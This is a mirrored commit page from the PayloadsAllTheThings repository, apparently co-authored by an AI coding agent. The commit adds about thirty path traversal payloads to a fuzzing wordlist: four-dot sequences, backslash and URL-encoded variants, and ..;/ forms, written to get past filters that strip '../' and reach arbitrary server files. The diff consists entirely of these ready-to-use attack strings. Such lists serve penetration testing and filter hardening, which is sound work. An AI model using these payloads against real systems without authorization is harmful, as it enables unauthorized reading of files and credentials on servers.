mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2026-07-28 14:47:32 -07:00
Add four-dot traversal bypass payloads to deep_traversal.txt
Add ....//, ....\\, and URL-encoded variants to cover filter normalization bypasses where ../ is stripped but ....// resolves to a parent directory traversal. Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
@@ -6,6 +6,31 @@
|
||||
../../../../../../{FILE}
|
||||
../../../../../../../{FILE}
|
||||
../../../../../../../../{FILE}
|
||||
....//{FILE}
|
||||
....//....//{FILE}
|
||||
....//....//....//{FILE}
|
||||
....//....//....//....//{FILE}
|
||||
....//....//....//....//....//{FILE}
|
||||
....\\{FILE}
|
||||
....\\....\\{FILE}
|
||||
....\\....\\....\\{FILE}
|
||||
....\\....\\....\\....\\{FILE}
|
||||
....\\....\\....\\....\\....\\{FILE}
|
||||
....%2f%2f{FILE}
|
||||
....%2f%2f....%2f%2f{FILE}
|
||||
....%2f%2f....%2f%2f....%2f%2f{FILE}
|
||||
....%2f%2f....%2f%2f....%2f%2f....%2f%2f{FILE}
|
||||
....%2f%2f....%2f%2f....%2f%2f....%2f%2f....%2f%2f{FILE}
|
||||
%2e%2e%2e%2e%2f%2f{FILE}
|
||||
%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f{FILE}
|
||||
%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f{FILE}
|
||||
%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f{FILE}
|
||||
%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f{FILE}
|
||||
%2e%2e%2e%2e//{FILE}
|
||||
%2e%2e%2e%2e//%2e%2e%2e%2e//{FILE}
|
||||
%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//{FILE}
|
||||
%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//{FILE}
|
||||
%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//{FILE}
|
||||
..;/{FILE}
|
||||
..;/..;/{FILE}
|
||||
..;/..;/..;/{FILE}
|
||||
|
||||
Reference in New Issue
Block a user